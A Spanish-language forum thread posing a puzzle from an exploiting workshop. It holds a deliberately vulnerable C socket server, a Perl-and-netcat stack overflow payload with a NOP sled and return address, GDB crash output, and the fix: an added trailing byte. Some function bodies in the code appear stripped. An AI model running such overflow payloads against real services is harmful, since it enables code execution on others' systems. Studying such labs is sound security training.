MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335
Un saludo!
____________________________________________________________________________________________________________
Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.Pista: Todo consiste en leer.Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
int socketfd, newsocket;
int feo ()
{
}
int vuln (char *trampa)
{
char buffer [100];
}
void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n"); close (newsocket);
close (socketfd);
}
int times ()
{
struct tm *ahora;
char buffer [40];
strftime (buffer
, 40, "%d/%m/%Y %H:%M:%S" , ahora
); return 0;
}
int main (int argc, char *argv [])
{
struct tm *ahora;
char hora [40];
strftime (hora
, 40, "%d/%m/%Y %H:%M:%S" , ahora
); printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora
);
if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n"); return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv
[0]); return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);
socketfd=socket (2, 1 , 0);
host.sin_family=AF_INET;
host.
sin_port=htons
(atoi (argv
[1])); host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
listen (socketfd, 3);
times ();
printf ("Starting up...\n\n");
signal (SIGTERM, shutup);
signal (SIGINT, shutup);
while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
times ();
printf ("Got connection from %s:%d\n", inet_ntoa
(client.
sin_addr), ntohs
(client.
sin_port));
cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont
, buffer
);
vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa
(client.
sin_addr), ntohs
(client.
sin_port)); close (newsocket);
}
close (socketfd);
return 0;
}
Y lo estaba explotando con este comando...
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335
Ahora, abría con GDB y me mostraba esto...
(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07 Starting up...
18/02/2011 00:02:10 Got connection from 127.0.0.1:57358
18/02/2011 00:02:10 RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��
Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)
La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.
GanadoresNadie xD
Hola que tal, podrías dar una información mas detallada de que hace ese programa vulnerable y que es lo que se intentaba explotar? Saludos!
Usaba ese programa como ejemplo para el texto que estaba escribiendo hace un tiempo. Me encontré con ese problema y tardé una media hora en resolverlo, así que lo modifiqué un poco para colgarlo como reto.
PS: No revivas temas "viejos".
Un saludo. Sagrini